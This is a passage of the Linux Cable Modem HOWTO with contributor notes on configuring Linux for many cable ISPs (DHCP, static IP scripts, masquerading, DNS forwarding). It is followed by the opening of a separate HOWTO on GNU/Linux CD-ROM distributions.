They use DHCP (DHCPcd) in RedHat and it worked immediately. In RedHat's netcfg, this means selecting "DHCP configuration". There are still some problems sometimes: DHCP outputs some error messages, but things still work afterwards generally (?). This seems related to rebooting; it looks like the cable system doesn't reallocate the line for one minute after reboot.

CyberCable's web site is at http://www.cybercable.fr/.

3.24. Chello (UPC) Stockholm, Sweden (formerly StjärnTV)

This information is provided by <dinky@chello.se>:

UPC are providing their customers with SURFboard SB31000 Cable Modems, and if needed a NetGear Network card(ISA or PCI) can be purchased for an additional 300 swedish crows.

They offer 2 different services: Chello: 1 IP 512kbit downstream 128 upstream Chello Maestero: 4 IPs, 640kbit downstream, 128kbit upstream

DHCP is used to configure the network interface (dhcpcd).

More info about their services can be found at http://www.chello.se/ and http://www.upc.se/.

3.25. GCI.Net, Alaska

This information is provided by GCI Tech Support <support@gci.net>:

GCI provides CableModem services in Alaska, currently in Anchorage, Juneau, and Fairbanks. GCI uses Com21 which can either be connected directly to your 10baseT input or inserted into the downlink input on your router. Static IPs are available for $10 per month and the usual address assignment is through DHCP. More information can be obtained from http://www.gci.net.

3.26. Saturn Communication NZ Ltd, New Zealand

This information is provided by Nigel Win <nigelwin@the.net.nz> and David Sims <david.sims@paradise.net.nz>:

This was tested on Debian 2.1 (Slink) Using Kernel 2.0.34 and 2.2.17

First of all you need to get the following information to fill in the gaps

IPADDR -> This is the IP Address Saturn have given you eg IPADDR=203.79.92.214

NETWORK -> This is the first 3 Decimal places of your IP Address and then 0 at the end eg NETWORK=203.79.92.0

BROADCAST -> This is the first 3 Decimal places of your IP Address and then 255 at the end eg BROADCAST=203.79.92.255

GATEWAY -> This is the first 3 Decimal places of your IP Address and then 1 at the end eg GATEWAY=203.79.92.1

Edit the file /etc/init.d/network and put this in to setup your cable modem.

#! /bin/sh
ifconfig lo 127.0.0.1
route add -net 127.0.0.0
IPADDR=
NETMASK=255.255.255.0
NETWORK=
BROADCAST=
GATEWAY=
ifconfig eth0 ${IPADDR} netmask ${NETMASK} broadcast
${BROADCAST}
route add -net ${NETWORK}
[ "${GATEWAY}" ] && route add default gw ${GATEWAY} metric 1

This is what my /etc/init.d/network file would look like

#! /bin/sh
ifconfig lo 127.0.0.1
route add -net 127.0.0.0
IPADDR=203.79.92.214
NETMASK=255.255.255.0
NETWORK=203.79.92.0
BROADCAST=203.79.92.255
GATEWAY=203.79.92.1
ifconfig eth0 ${IPADDR} netmask ${NETMASK} broadcast
${BROADCAST}
route add -net ${NETWORK}
[ "${GATEWAY}" ] && route add default gw ${GATEWAY} metric
1

They use Com21 Cable Modem http://www.com21.com and provide free D-Link PCI or ISA network card if you require. The monthly fee already includes Cable Modem rental and they offer 2 connection speed plans ( 512k/128k and 2Mbps/256K ). But they charge you on how much traffic you transfer :). The speed is not bad since I am getting around 90K for download speed at peak time.

Information provided by Stewart Frater

For Redhat users, the suggested scripting should be added to the /etc/sysconfig/network file (as opposed to the /etc/init.d/network file as detailed). In any event, the scripted change may be checked for effectiveness by issuing the following command as root :

/etc/sysconfig/network-scripts/ifup eth0

A final check is to ping an external IP successfully. You should also expect to be able to hot-swap your cable between your Linux and Win boxes at will; ie. no rebooting of pc's or re-cycling of modems should be necessary during normal use.

More info about Saturn is available at http://www.saturn.co.nz.

3.27. Chello, Netherlands

This information is provided by Jaco de Groot <jaco@dynasol.com>:

I'm from The Netherlands and use a Terayon cable modem under Red Hat 6.0. My provider is Chello. I have installation instructions in Dutch on my homepage http://www.dynasol.nl/~jaco/redhat6.0/install.html. Chello has replaced all LAN-City modem in my city with Terayon modems (configuration remains the same because it uses the same network card).

If you are not using RedHat check out the DHCP mini-HOWTO on instructions how you can get your computer to connect to Chello network.

Notes from Henkjan Huisman <henkjan@m14-017.azn.nl>

Got my RH6.1 box on the net by installing dhcp3.0 ( ftp://ftp.isc.org/isc/dhcp/dhcp-3.0b2pl6.tar.gz), and produce an EMPTY /etc/dhclient.conf. Change /sbin/ifup where it says:

if /sbin/pump $PUMPARGS -i $DEVICE ; then

to:

if /sbin/dhclient $DEVICE ; then

Info about Chello can be found at http://www.chello.nl/

3.28. Adelphia Powerlink, USA

This information is provided by Kevin Pfohl <kspfohl@adelphia.net>:

If you have a Adelphia service with a two way modem connection (e.g. you don't need a regular phone modem to dial in) all you have to do is install Linux and use DHCP to get your network connection going. If you have a one-way modem please read info on Adelphia Powerlink, USA.

3.29. 21st Century Telecom, Chicago, IL, USA

This information is provided by Jens B. Jorgensen <jjorgens@bdsinc.com>:

21st Century uses a "Regular" cable modem, that is up-stream and down-stream are both over the cable connection. The equipment is made by Zenith. The installer will bring along a NIC with them, (mine was an OEM Intel EtherExpress Pro 10/100) which is connected via a 10-base-T cable (crossover?) directly to the cable modem. All 21st Century customers are assigned a static IP address. Just make sure your kernel is configured to support this card or insmod the module for it a configure the IP. You'll also be provided with a gateway address which you'll need to set the default route to. Be mindful of the netmask (255.255.0.0 for me) on the ether interface. Also note that the cable modem seems to 'learn' the ethernet address of the adapter you're provided with and will only work wit that adapter. I don't know if reseting the cable modem would cause it to relearn the address or not. I didn't feel the need to try the cable modem with another adapter.

Additional notes by Mark Howard <mark@xanderbelly.com>

Please note that this service has been changed; they now only use Nortel cable modems and everyone is assigned a dynamic IP address now. Also, my Nortel cable modem does not seem to care which machine or MAC address is connected to it; I have set up multiple machines on it and they all worked fine. In fact, if you hang a hub directly off the cable modem, you can get multiple valid IP adresses assigned through DHCP! I wouldn't recommend this, however, as a long term solution. I have a RH box set up as a firewall doing NAT for me on the one address, and it works just great. This service is particularly good - I consistently get 95-100KBps, or just about a 1Mbps rate. I also live in a coach house rental here in Chicago, and although they wanted to run new cable in the apartment, I told them to use the old cable because it was not my place. They said they could not guarantee that the service would work, but of course it does work just fine! So don't let them talk you into running new cable if you can avoid it.

Also, if you want to set up your own web server from home, I used a great service called EasyDNS.com where you pay them $25 per year per domain and you can control your DNS settings (even SOA, TTL, etc...) 24/7/265 through a web based (PHP no less) interface. So if I ever need to reboot my Linux box (which I never do really) I can go in and update the IP address that my web server www.xanderbelly.com and mail server

Additional notes:

The terms and conditions of 21st Century cable modem contains the following statement:

Distributing unsolicited information in any manner is prohibited on 21st Century's network and will result in termination of 21st Century service. (I.e. junk email, etc...) Any use of a server type application or service on a computer system connected to 21st Century Cable Modem Service is prohibited and may result in termination of 21st Century Cable Modem Service (i.e. web, ftp, or game servers, etc...). 21st Century Cable Modem Service is for client type applications ONLY.

Also, technically, each additional dynamic IP address beyond the first one carries a $4.95 monthly charge.

3.30. HTVi, Helsinki, Finland

This information is provided by Markku Immonen <wired.poet@sci.fi>:

HTV is the local cable TV company. Their Internet product is called HTVi. They issue a Motorola CYBERSURFR Wave cable modem for all customers. It plugs into an ethernet card using a 10BaseT (RJ-45) cable. Customers have two options: DHCP or a static IP address. The DHCP (dynamic IP address) option is 50 Finnish marks cheaper; in October 1999 the prices were 245 FIM per month for a dynamic address and 295 FIM for a static one.

I opted for a static IP. Configuration was incredibly easy. They give you a couple of info brochures which contain the necessary IP and networking information.

About speed: it varies but is generally acceptable, from 30 kbytes/sec to 200 kbytes/sec. Your best bet is the early morning hours. The fastest download speed so far was 470 kbytes/sec from a Finnish Linuxberg mirror.

More information about HTVi can be found at http://www.htvi.net/.

3.31. Garden State Cable, New Jersey

This information is provided by Denis Voitenko <denis@o3m.com>:

In New Jersey Garden State Cable offers @Home. They give you a 3Com CMX series cable modem and a SMC PCI NIC with the DIGITAL chip. It works just perfect with the Tulip driver. They assign static IP addresses.

One more interesting thing. Unlike in most places, upstream speed is not limited to 128kbs.

Garden State cable web pages are located at http://www.gardenstatecable.com/.

3.32. Zoom Internet, Butler County, PA

This information is provided by Jim Garrison <garrison@olga.net>:

Zoom internet http://www.zoominternet.net/ is a cable ISP. They provide a Bay Networks cable modem, which connects to a 10-Base-T ethernet card. The only thing required to set it up is to enable DHCP.

Note: They provide the cable modem, but you must have your ethernet card working properly with DHCP before the installation guys come.

3.33. Charter Pipeline

This information is provided by Chris Weiss <chris@free-source.com>:

Charter gave me a 3Com cable modem that uses DHCP. I simply followed the DHCP mini-HOWTO and my 256Kbps connection was running at over 350Kbps!

3.34. Netcabo, TV Cabo, Portugal

This information is provided by Marco Soeima <msoeima@netcabo.pt>:

It's a Portuguese ISP and it's available through TV Cabo. The hardware consists of a RealTek ethernet card (just use the rtl8139.o module) and a 3Com U.S. Robotics CMX cable modem. The only thing required to get one's cable access up and running is configure the ethernet card and install DHCP. After that it works like a charm!

More information about Netcabo can be found at http://www.netcabo.pt.

3.35. Supercable, Spain

This information is provided by Mario Galan <galan@arquired.es>:

The setup isn't so much different than other Cable providers. They offer a SMC (I think) network card but you can use yours if you want. They then install a cable modem made by com21 (http://www.com21.com). IP setup is easy since it uses DHCP so I don't think you should have any problems under a modern linux distribution.

For more information check out Mario's web page at http://www.supercable.es/%7Egabu/.

Last thing worth to be said is that Supercable doesn't provide support for Linux but you can always ask your questions in news.supercable.es in the Linux area. Their web page is located at http://www.supercable.es/ (WARNING: get ready to download an almost 1MB of useless Macromedia's Flash garbage).

3.36. NTL, United Kingdom

This information is provided by cogNiTioN <cog-cablemodem@cognite.net>:

This assumes that you've spoken to NTL, you have the cable modem, the cable line installed and your network card installed and recognised. You should also have you MAC address registered with NTL. (NTL contact: http://www.ntl.com/cablemodems/)

Now all you have to do is connect your cable modem to your network card and run the DHCP client. I've found that you have to specify the username you supplied during the registration process, on the command line: e.g. root # dhcpcd -h cognition (substitute cognition for your user name.). For any other problems with DHCP please check out the DHCP mini-HOWTO.

I've also found that occasionally the 3COM CMX modem used needs to be rebooted (power off, press the reset button on the back, power on) if left connected 24/7.

Nameservers used by NTL are: 194.168.4.100 and 194.168.8.100, so those should be added to your /etc/resolv.conf.

I've found NTL's tech support to be close to useless, most the time and they don't officially support Linux, so you're probably better off contacting your local LUG (http://www.lug.org.uk/ ), or you could even try mailing me direct (but I don't promise to be able to respond).

3.37. Virtua, São Paulo, Brazil

This information is provided by Thiago Macieira <thiagom@mail.com>:

IP is assigned dynamically via DHCP. Just run dhcpcd or pump to get the IP and you're done. For more detailed instructions on how to get DHCP running read the DHCP mini-HOWTO.

Notes: operator blocks incoming connections to ports below 1024

3.38. Hathway, Bombay, India

This information is provided by Rishi Gangoly <rishi@w-o-i.com>:

The tech support guys at Hathway were not Linux Savvy at all, but I must say were quite helpful. They even referred me to another customer who got Linux to work with it. However, that person was only able to get it to work on Linux as a stand-alone workstation and not as a gateway (as a router) for his entire network.

Since I was not even able to get it to work as a stand-alone workstation I knew I had a long way to go. The Windows 98 Workstation configuration was a Celeron Workstation and it had a 10/100 D-Link Lan Card Chipset RTL 8139 . The IP address was manually entered, so I knew that there was no DHCP Client required etc.

Even the DNS and Gateway address was manually entered.

I was able to do a ping without any problem in Windows to any site and things were just happening. However, I had no luck with it in Linux. I installed Linux on the same machine (Dual Boot) to make sure there was any Hardware compatibility problems.

I even got the workstation to hook up on the LAN successfully in Linux. So I knew that the Lan Card was working.

I noticed that when I connected the Cable Modem to the LAN card I was not able to see any of the Link LED light up on the LAN Card. So I figured that could be part of the problem. I booted the PC in DOS and ran the DIAG DOS based utility to check the configuration of the Card. I just decided to take a chance and re-configured the LAN Card. I configured it to operate in 10 MBPS Half Duplex Mode instead of Auto Sense.

.......... Guess what..... The problem got solved ;-)

Even the lights (LED Link indicators) started to work, so all was good. ;-) At the end of everything it all worked out. I plugged that lan card into the linux server (since I knew it worked) and got it to work as a router / gateway too. I still wonder why the other customer was not able to get the Linux Box to work as a gateway for the rest of his network. That was no big deal at all. It just worked. The Cable Modem that was used (provided by Hathway) was a SurfBoard 3100

3.39. Siti Cable, Bangalore, India

This information is provided by Vinay Avasthi <vinay@avasthi.com>:

Zee Telefilms has partnered with Siti Cable in Bangalore, India to provide cable modem service. I subscribed to this service and it kind of worked out of the box from linux.

I am using Redhat 6.1 on a IBM Thinkpad 600 with Xircom Realport Ethernet card. On autodetect links mentions that the card will be used in 10MB/s only.

Only problem that I faced was on shutdown, the system will hang while shutting down pump. To temporarily fix the problem I just put that particular like in rc-scripts to background.

The steps that one needs to perform are as follows.

  • - Need to have an ethernet card that works with Linux.

  • - Enable DHCP by using pump. For some reason dhcpd does not seem to work.

Only thing that I would suggest is to be careful regarding support since the tech support do not seem to know much about software.

3.40. Com Hem, Sweden

This information is provided by Zoltan Arpadffy <arpadffy@altavista.net>:

com hem http://www.comhem.se/ is a Swedish cable TV/Internet provider, a sub-company of Telia http://www.telia.com/ the biggest Scandinavian carrier. com hem does not support any other OS but Windows and Mac-OS (as com hem support claims ), but it is not so complicate to set up on Linux as well.

com hem sells NetGame's cable modem (NeMo) http://www.ngcable.com/nemo.shtml. It is a very fast and flexible 2-way cable modem with initial speed of 512 kb/s but it can be set up to 10Mb/s by the cable provider. You can order it with or without Ethernet card. com hem Internet service is available in the bigger cities all over Sweden.

3.40.1. 1. Setting up a single node

  • set up your network card to work properly (Ethernet HOWTO)

  • configure DHCP to that card (DHCP mini-HOWTO)

  • try to ping login1.telia.com (10.0.0.6)

  • you need a browser what supports Java-script (Netscape or Mozilla) and go to the login site http://login1.telia.com/

  • - fill in your user-name and password (provided by com hem) ... and you're there.

Network what you'd become a member is:
        IP address: Assigned by com hem
        Subnet mask: 255.255.255.0
        Default GW: Assigned by com hem
        Hostname: Assigned by com hem
        Domain name: telia.com
        Primary DNS server (nameserver): 10.0.0.1
        Secondary DNS server (nameserver): 10.0.0.2

3.40.2. 2. Connecting your home LAN (if you have more than one machine)

We have to turn one computer to gateway (I did it with an old Pentium 66MHz/16M)

  • install two network cards in your gateway NET3-4 HOWTO

  • first set up (and connect) to your LAN

  • second network card have to use DHCP (DHCP mini-HOWTO)

  • enable ip forwarding
    net.ipv4.ip_forward = 1 in /etc/sysctl.conf or
set FORWARD_IPV4 to true in /etc/sysconfig/network (RedHat or Mandrake) or by
echo "1" > /proc/sys/net/ipv4/ip_forwarding

  • set up IP masquerade (IP Masquerade mini-HOWTO)
    ipchains -P forward DENY
ipchains -A forward -s your_network_here/24 -j MASQ
    (for me it was ipchains -A forward -s 192.168.10.0/24 -j MASQ) check your routing table with route command... it should be something like below:
    Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
gate.polarfox.h *               255.255.255.255 UH    0      0        0 eth0
telia-net       *               255.255.255.0   U     0      0        0 eth1
polarfox-net    *               255.255.255.0   U     0      0        0 eth0
127.0.0.0       *               255.0.0.0       U     0      0        0 lo
default         h2n5fdt22o429.t 0.0.0.0         UG    0      0        0 eth1
    Useful literature for security issues is Linux IPCHAINS HOWTO

  • configure default gateway for all other hosts in your LAN. On unix nodes it should look something like:
    Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
sea.polarfox.ho *               255.255.255.255 UH    0      0        0 eth0
polarfox-net    *               255.255.255.0   U     0      0        0 eth0
127.0.0.0       *               255.0.0.0       U     0      0        0 lo
default         gate.polarfox.h 0.0.0.0         UG    0      0        0 eth0
    Default gateway setup for other OSs you can find a very nice description in IP Masquerade mini-HOWTO

  • configure name server on your gateway DNS HOWTO or just set up your hosts to use Telia's name server (10.0.0.1)

  • log in from any host http://login1.telia.com/ and you're on the road with all your LAN.

3.40.3. You from the internet

There are no limitations in traffic, protocols or ports so far from com hem side, So you can easily set up your web, irc or ftp server at home or in the office. But is very uncomfortable to use URL like http://h2n5fdt22o429.telia.com. You probably need a new usable domain name, but there is a problem with DHCP. Anyhow there is one solution.

  • Find one independent DNS server

  • Buy your desired domain name

  • Set up the DNS server as a forwarder to you DHCP address

if the DNS server is running on Unix probably add to /etc/named.conf

zone "private.net"{
        type forward;
        forward only;
        forwarders{
                YOUR.DHCP.ADDRESS;
        };
};

Set up your own DNS server to be master for your domain

zone "private.net"{
        type master;
        file "private.net-ZONE-FILE";
        notify no;
};

  • Edit the zone file as it has been written in DNS-HOWTO

  • Add your name server to etc/resolv.conf

search private.net telia.com
nameserver 127.0.0.1
nameserver 10.0.0.1

  • ... and your domain is alive

  • If your IP address is changing it is enough to re-set the forwarder DNS server and after few hours your server will be visible as usual, so far you are keeping your line alive

3.40.4. Problems:

  • If you don't use browser with Java-script support, you can not log in. Solution: there is no elegant solution. Without it you can not log in and open the connection.

  • After some network inactivity period (10-15 minutes) your connection will be terminated and you have to log in again... meanwhile your gateway and all your inner services will be unreachable from outside as well (if you're running some web server at home etc). Solution: start one ping process or even more elegant solution is to submit one cron job for every 5-10 minutes on the gateway, to "do something" through the network.

    I did it with /etc/cron.d/keep-alive file when contains:

    # fake connection in order to keep line alive
# every 5 minutes send some packages
MAILTO=""
*/5 * * * * ping -f -c 5 ftp.sunet.se

  • Security: your computer or whole LAN is on the Internet now without any protection against attacks from outside.

    Solution: []Security-HOWTO can help you to set up your system quite safe. This is an important issue, you should not just bypass it. Your gateway should be your firewall as well.

  • Applications: If you have LAN at home you have to face IP masquerade problem with some applications as ftp, irc, Quake or RealAudio.

    Solution: You have to load necessary modules for proper work.

    /sbin/depmod -a
/sbin/modprobe ip_masq_autofw
/sbin/modprobe ip_masq_ftp
/sbin/modprobe ip_masq_raudio
/sbin/modprobe ip_masq_irc
/sbin/modprobe ip_masq_mfw
/sbin/modprobe ip_masq_user
/sbin/modprobe ip_masq_cuseeme
/sbin/modprobe ip_masq_portfw
/sbin/modprobe ip_masq_vdolive
/sbin/modprobe ip_masq_quake

  • DNS problem: Periodically DHCP configuration of your network interface will be reload (pumpd) and it will overwrite your own DNS setup in /etc/resolv.conf. To avoid this behavior of pump daemon add to /etc/pump.conf file:

    device eth1 {
    nodns
}

  • Windows install: even if you are running Windows on your computer, DO NOT install com hem from the provided CD, because the configuration on Internet Explorer are permanent and even the com hem support can not help you to de-install :-). The problem is not serious, but you have to dig deep with regedit.

    Solution: In control panel/network set up your network card to and eventually DNS server to 10.0.0.1. Reboot (as usual) and log in. It's so easy without any complications.

  • Cable modem: You have to be aware that your cable modem is a peripheral of your computer and not a standalone network unit. So you should not expect that your network will survive the "modem reboot". The order is always: first modem and after the computer. Note: if the modem is on, you may reboot or switch off/on your computer without any problem.

3.41. SwissOnLine HiSpeed Internet, Switzerland

This information is provided by Nick Barnes <nick@debau.ch>:

This assumes that you have registered (either on-line or via snail mail) with SwissOnLine and you have received your cable modem, have plugged it in and ensured that it boots correctly as per the installation instructions.

At the time of speaking, SwissOnLine HiSpeed provide COM-21 modems (http://www.com21.com) complete with two different kinds of Antanae leads and an antenna splitter.

You will require a standard 10BaseT ethernet cable to plug the modem into either a network card installed in a PC or the uplink port of a 10BaseT hub. To plug the modem into a normal hub port, you will require a crossover cable.

All information is provided to the host via DHCP, with no special parameters needed in the call. The modem is not locked down by MAC address.

Providing it is not rebooted, the modem appears to grant the same IP address to the host. While this is not guaranteed with anything other than the static IP address option on the business account, I have not seen my address change in the time I have had the modem.

Be wary of any device on your local ethernet which makes DHCP requests. The modem is not fussy which devices it allocates addresses to and it appears to offer the same IP address to _any_ machine which makes a DHCP request.

SwissOnLine do not support Linux directly, but they are aware of its existance!

Notes from Thomas Holenstein <thomas@hex.ch>

I had problems installing my cable modem as well under Linux and under Win98, because the DHCP server of swiss online did not to respond. If you encounter similar problems, you may want call the hotline (0848 852 800). Hold the MAC number of your modem ready if you call, you can find it at the bottom of the modem. If you are only using linux, it might prove difficult to convince the hotline people you did things right. It was difficult with windows already. Be sure you get a number for your problem (Bearbeitungsnummer).

If you want to analyze the problems you may install a network sniffer: ethereal is available for linux and for windows. In my case, I saw that I was sending bootp packages to swissonline but did not receive bootp packages from them. However, I could get other packets.

Notes from Stefan Buckmann for SuSe users:

I use SuSE Linux (currently 7.1). I have had difficulties getting an IP address using the supplied version of dhclient (2.0pl5-4). Suggestion for SuSE users setting up a cable account with Swissonline : Get the latest release of ISC DHCP (currently V3.0b2pl23), compile it and replace /sbin/dhclient with the freshly compiled one. This solved the problems immediately.

3.42. Liwest, Austria

Information provided by Bernd Haug <haug@liwest.at>:

I'm connected through an Austrian cable provider called Liwest. The support eMail is <helpdesk@liwest.at>, the homepage is http://www.liwest.at/.

The modem is a Terayon, the box gets connected via TP cable. The modem works great with my ethernet hardware (3com 905b, vortex driver) as well under Linux as under Windows. Macs are supported, too.

None of my Friends, who use very various hardware and/or OS(versions) have any problems with incompatibilities.

The configuration is done manually (no DHCP, but it's *really* easy since the information sheets are very compact & informative), customers get fixed IPs and DNS entries. Running servers over the cable line is forbidden, no firewall, but ports 80, 21 usw are scanned on a regular base.

Use of bandwidth is limited neither in volume nor in time.

The provider had great availability problems a while ago, but they seem more or less fixed now; I am content with the Service. Transfers go up to ~30k (intercontinental, too).

Please contact Bernd if you have additional questions. He has kindly agreed to provide assistance to any current or new Linux user.

3.43. Blueyonder from Telewest, United Kingdom

Information provided by Mike Watson <mike@prog99.com>:

Plugged in the ethernet card, booted up and turned on DHCP.

Worked first time!! Nameservers were added to resolve.conf so I had to do very little other than follow the home networking howto to get the IP masquerading working.

They also dont mind people running masq'd connections or linux but will only support a win9x setup. But when it was this easy....

3.44. CableNet, Colombia

Information provide by Marco Muskus <muskus@gamebox.net>:

CableNet uses CyberSurf from Motorola, and a 3Com 905 10Base-T Ethernet NIC. Set up is mostly done using DHCP but some people also receive static IPs.

3.45. Brutele, Belgium

Information provided by Fabrice Timmermans <Fabrice.Timmermans@ITSoftware.be>:

Operator: BRUTELE - covers part of Brussels and South of Belgium

Hardware: Teraillon Cable Modem using an RJ-45 Ethernet straight cable to a PC

Software: Standard config is Windows, although Linux i386 support is there under the form of mirrored Linuxberg on the internal servers.

IP Setup: DHCP address assignment, single address only. More available depending on subscription mode.

Pricing: one-off installation : BF 2500 (+-$ 85) + BF 5000 ($175) deposit for the cable modem. Monthly fee : BF 1500 ($40) + Modem loan BF 500 (12$)

Services: Tucows and Linuxberg mirrors, quake I and II servers, proxy, mail relay and pop account (3 aliases) and the other usual stuff you need to survive on the net.

More info at http://www.brutele.be/.

3.46. Optus @Home, Australia

Information provided by Simon Butcher <pickle@alien.net.au>:

For Optus @Home here in Australia (Competitor to Telstra Bigpond) - Originally they used to be running some sort of really weird DHCP server, so a mate of mine hacked a DHCP client and got it running, but recently they've fixed their problems and ordinary dhcpcd will run fine off the shelf. The trick is that Optus use your "Client ID" for authentication. Your client id is also your hostname, and if you're already running windows, your computer name. If your computer name is CO3012345-A then that's your hostname, and therefore your client id.

You feed dhcpcd this information and everything should run perfectly dhcpcd -H CO3012345-A eth1.

Alternatively if you would like to use pump check out the notes of user in Mobile, Alabama.

A word of warning though, Optus are very strict on running servers on their network, so before you connect linux up to Optus @Home, firewall your computer or disable running daemons.

Optus supplies a SurfBoard SB3100 cable modem and a network card. Don't say you've already got a NIC as they will insist you use it and not give you the freebie. I got an SMC EZ-10 PCMCIA card.

3.47. Destiny Cable, Philippines

Information provided by Juan Paolo L. Carballo <jplcarballo@mydestiny.net>:

It used to be just for our capital Manila, but has lately expanded to the province of Cebu as well. There are only three of us Destiny Cable subscribers in our local LUG and so far, no one yet in the province. Destiny Cable is not the first to offer cable internet services but is the cheapest, considering that they give a free cable TV feed in addition to unlimited Internet access. Unlike other cable internet providers, they have Linux as an OS option to choose when you fill up their application form.

There have two subscription options:

1. Residential
Modem: Motorola Cybersurfer Wave
NIC: Any
Connection: Dynamic IP - DHCP (DHCP mini-HOWTO)
* Free cable tv feed upon subscription.
* Free first 200 feet of cable from service point to your PC.
* Option to rent, lease-to-own or buy the cable modem.
* Minimum of one year subscription contract.

2. Corporate
Modem: No information but definitely not Motorola Cybersurfer
NIC: Any
Connection: Static IP

Destiny requires you to buy and install your own NIC/Lan card *before* they will setup your service line. In my case, I bought a Linksys etherfast 10/100 LNE100TX ver. 2.0 PnP card and installed it in my Mandrake 7.1 (helium) box using the tulip.c driver, version 0.91g. The NIC was recognized as: Lite-On PNIC-II rev 37 at 0x6200, IRQ 10. When the linemen arrive, they will bring with them only the cable modem, aside from the cable line to your pc. The coaxial cable plugs into the modem from the data splitter on the main line, which it shares with the cable TV. A 10BaseT Ethernet cable with RJ-45 jacks is included with the cable modem. One end plugs into the cable modem and the other end into the ethernet card. Finally, there are six LEDS, one each for POWER, CABLE, PC, TEST, RD and TD. Once the power cycle has been completed, the POWER, CABLE and PC LEDS should be on and not blinking. The TEST LED may light up for a few seconds but this should pass. When a connection is stable, the TEST LED is OFF and the RD "Receive" LED will blink every once in a while. The TD "Transmit" LED will of course light up when you send data.

3.48. Retecal, Spain

Information provided by David Grajal Blanco <picholas@wanadoo.es>:

Retecal www.retecal.es offers a PCI network card NE2000 compatible [Realtek 8129/8139 card] that is supported very well in Linux. Of course you can use any card if you want.

The cablemodem is made by Com21 [www.com21.com] and retecal have a dhcp server so it's easy to configure on a linux-box.

Of course, if you ask retecal about some support for Linux they cannot help you. But in case of problems you can ask in the private news [news.retecal.es] in the linux group, or if you want, you can ask in the local lug [www.augcyl.org].

Retecal uses a proxy that caches all the traffic but it works on transparent mode, so is unneccesary to configure.

Ah, retecal only works on a region of spain named "Castilla y Leon", and Supercable, that is other ISP provider only works in "Andalucia"

3.49. Netvisao, Portugal

Information provided by Bruno Guerreiro <bruno dot guerreiro at ine dot pt>:

At home i've signed up with Netvisao, which is part of Cabovisao, a cable TV Operator in Portugal. Their site is at http://www.netvisao.pt They have several packages with diferent bandwidth limits, that go from 128Kbps to 512Kbps. I think they´re thinking about going to increase speeds up to 2 Mbps, but there isn't much information about that The card they supplied is a generic ne2k PCI, with DHCP assigned IP, which almost never changes :-). The out-of-the-box installation of Linux worked perfectly. I'm capable of running FTP , HTTP, IMAP, POP3 servers, with no problem at all.No problems with Telnet or SSH either.

3.50. Longview Cable - Cablelynx

Information provided by John Jeffers:

Cablelynx.com is a consortium of smaller cable systems that have recently gone on line in the Texas, Arkansas, Oklahoma area.

Primarily they use DOCSIS 1.1 and up compliant cable modems such as a Terayon LJ110. Currently they are configured like the ATT cable system.

The computer is provisioned with Ethernet and DHCP is selected a host name is presented. The cable modem returns hostname.cablelynx.com and locks into the initial MAC address. The user then enters all his particulars including credit card from a Web Browser. DHCP is renewed to a different IP and full access is obtained. The only method to add different equipment is to spoof the MAC address per the AT&T entry or to leave the equipment on and configured and phone technical support and point out that you have changed computers in which case tech support will make the modem change authorized MAC address/es.

I should point out that these providers are amongst the first to provide a pure DOCSIS network (i.e. completely standardized) that will allow users to buy any DOCSIS compliant modem and log it into the network with no contact other than the initial webform with the cable company.

I will also point out that in Beta Site it was discovered that although this will work most of the time a many homes have too many or very poor splitters in line that will not give adequate bidirectional signal strength to the cable modem that will result in the Cable LED flashing in and out to indicate this.

3.51. Soon Communications Plc, Finland

Information provided by Edvard Majakari <ed@krypton.mikroneuvos.fi>:

Soon Communications Plc is an ISP located in Tampere, Finland (former Tampere Telephone Plc). Soon provides cable modem services for its customers, though as of this writing (9th of May, 2001) only some of the regions in Tampere are covered by the cable modem service.

Package offered by soon contains the cable modem (Cool alien-like thingamajick design, manufactured by 3Com), ethernet cable, USB cable (in Windows, you can connect the modem directly via USB cable), coaxial cable splitter (so that you can use your TV and modem at the same time, even if you have only one socket in the wall) and some Windows software I haven't used, as I use it with Linux. Soon doesn't offer Linux support for the modem, but because of the system they use (client acquires IP addresses by DHCP) it can be used with Linux, or actually any machine capable of fetching network information via DHCP), because of the ethernet interface provided by the cable modem.

Installing and using the modem in Debian GNU/Linux is very simple. You should first make sure that your network adapter is supported and installed in your kernel (if you are unsure, type dmesg|grep eth0 in command line and you should see a line saying eth0: (device information) etc). Also make sure that CONFIG_PACKET and CONFIG_FILTER are defined in your kernel configuration, for DHCP won't work without these.

After that, you might use eg. apt to install dhcp-client:

root@bespin # apt-get install dhcp-client

If I remember correctly, after installing the client apt launches it right over, and you should now be connected to the net. You can use - of course - manual method of stopping, starting and restarting the client via script /etc/init.d/dhcp-client.

3.52. InstaNet, Oregon

Information provided by Tucker McLean <tucker@noodleroni.com>

I have some info for you on my cable ISP (InstaNet). I don't have any idea if just my cable company (in Bend, Oregon) does this service, but here goes. The dynamic IP is assigned via DHCP. They supplied me with a Motorola SURFboard modem. I couldn't figure out how I'm supposed to get a pair of name servers assigned to me, so I just typed in the IP's of some name servers. The technician that came to my house was afraid of Linux, or something, and almost didn't put in the RF cable for me. He did, and it works fine. I also have a 486 as a router so I don't have to pay $10.95 /month for my 2 other computers to guarantee them an IP address. Hope this is helpful.

Prev | Home | Next
Setting up your Ethernet Card |  | Hybrid Cable modem ISPs


Introduction

English-language GNU/Linux distributions on CD-ROM: (formerly: The Linux distributions HOWTO)
Prev Next

1. Introduction

1.1. Background

There is no one single authoritative master distribution of the GNU/Linux operating system software suites. Instead, there are many such distributions (over one hundred and sixty at the last count) — available over the net via anonymous FTP; by mail order from various emporia; directly from the shelves of your local bookshop or computer store; as a boxed set or as loose CD-ROMs; as an insert in the back of a book; or as a cover disk on specialist magazines.

The purpose of this document is to provide short summaries of those English-language GNU/Linux CD-ROM distributions available as loose or as boxed CD-ROM sets (with or without manuals); and to provide pointers for the reader to find more information. Distributions in languages other than English also exist, but are outwith the scope of this document.

The information presented here is in no way complete; i.e. there are certainly more English-language distributions than all those listed in this document. By the nature of open source software, anyone who changes anything in their GNU/Linux installation and then makes that particular version available to others can be said to be in some way creating a `distribution'. A document such as this has to choose somewhere to draw the line between what is, and what is not, suitable for consideration as a distinct distribution in its own right. The editors have chosen `available on CD' as their simple criterion.

Note that this is by no means the authoritative definition of a distribution. There are numerous small distributions available on floppy disk that offer things the big distributions don't — not the least of which is smallness itself. A good list of such distributions is to be found at: Tom's rescue and boot disk site; or the small distributions site.

The rationale behind producing this document in the first place — given that there are very many similar texts to be found on the WWW at any one moment — is to provide a distributable version of the same information, accessible by other than online means. (Not everyone who could use this information has access to a telephone line or to the web.)

